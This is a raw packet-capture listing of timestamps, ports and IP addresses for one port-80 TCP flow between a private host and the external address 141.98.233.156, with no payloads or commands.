Oct 4, 2024 09:52:34.792694092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792705059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792725086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792740107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792757034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792758942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792784929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792797089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792817116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792829990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792850971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792855978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792895079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792896032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792934895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792948008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792979002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792989969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793011904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793020010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793042898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793050051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793075085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793081999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793106079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793112993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793137074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793155909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793169022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793193102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793200016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793226004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793231964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793245077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793265104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793266058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793298006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793303013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793337107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793380976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793412924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793421984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793445110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793452024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793477058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793488026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793510914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793520927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793543100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793548107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793575048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793580055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793608904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793612003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793649912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793817043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793863058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793864965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793896914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793915987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793926954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793937922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793960094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.793967962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.793996096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794009924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794040918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794049025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794071913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794080019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794102907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794109106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794133902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794142008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794166088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794171095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794195890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794203997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794228077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794233084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794259071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794265985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794289112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794296026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794317007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794327021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794348955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794368029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794380903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794400930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794413090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794423103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794446945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794451952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794485092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794641018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794682980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794688940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794719934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794728041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794751883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794758081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794783115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794796944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794815063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794817924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794847965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794867992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794878006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794889927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794912100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794920921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794941902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794949055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.794975042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.794991970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795006037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795025110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795037985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795048952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795068979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795077085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795100927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795108080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795129061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795140982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795160055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795169115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795195103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795197964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795228004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795233965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795259953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795269966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795290947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795298100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795322895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795341015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795363903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795598984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795641899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795650959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795682907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795691967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795715094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795723915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795744896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795753002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795777082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795784950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795808077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795814991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795840025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795846939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795871973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795878887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795905113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795911074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795934916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795942068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795965910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.795973063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.795996904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796004057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796030045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796034098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796061039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796070099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796092987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796098948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796125889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796133041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796156883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796161890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796186924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796205044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796219110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796236992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796250105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796260118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796283960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796305895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796314955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796324968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796355009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796541929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796572924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796587944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796605110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796607971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796636105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796653032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796668053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796674967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796700001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796706915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796731949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796739101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796762943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796785116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796794891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796807051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796825886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796837091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796859026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796866894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796890974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796896935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796922922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796930075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796950102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796958923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.796982050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.796988010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.797017097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.797023058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.797055006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881445885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881511927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881546021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881577969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881612062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881644964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881694078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881726980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881758928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881767035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881767035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881767035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881789923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881823063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881856918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881870031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881870031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881870031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881890059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881900072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881921053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881922007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881937981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881953955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.881967068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.881984949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882009983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882018089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882030010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882050991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882067919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882086992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882106066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882133961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882137060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882186890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882224083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882256031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882283926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882287025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882303953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882318974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882339954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882350922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882364988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882381916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882405996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882415056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882428885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882466078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882476091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882498026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882518053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882529020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882546902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882579088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882580996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882610083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882632017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882642031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882654905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882674932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882695913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882708073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882733107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882740021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882762909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882772923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882791042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882803917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882833004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882838011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882853031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882874966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.882894039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.882929087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883094072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883125067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883148909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883157015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883174896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883219004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883224964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883256912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883280039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883287907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883304119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883320093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883338928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883352041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883369923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883404970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883409977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883449078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883466005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883481026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883498907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883507967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883527994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883541107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883568048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883573055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883586884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883605957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883626938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883637905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883662939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883694887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883826971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883862019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883882046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883893013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883909941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883924961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.883954048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883956909 CEST	80	49745	141.98.233.156	192.168.2.4
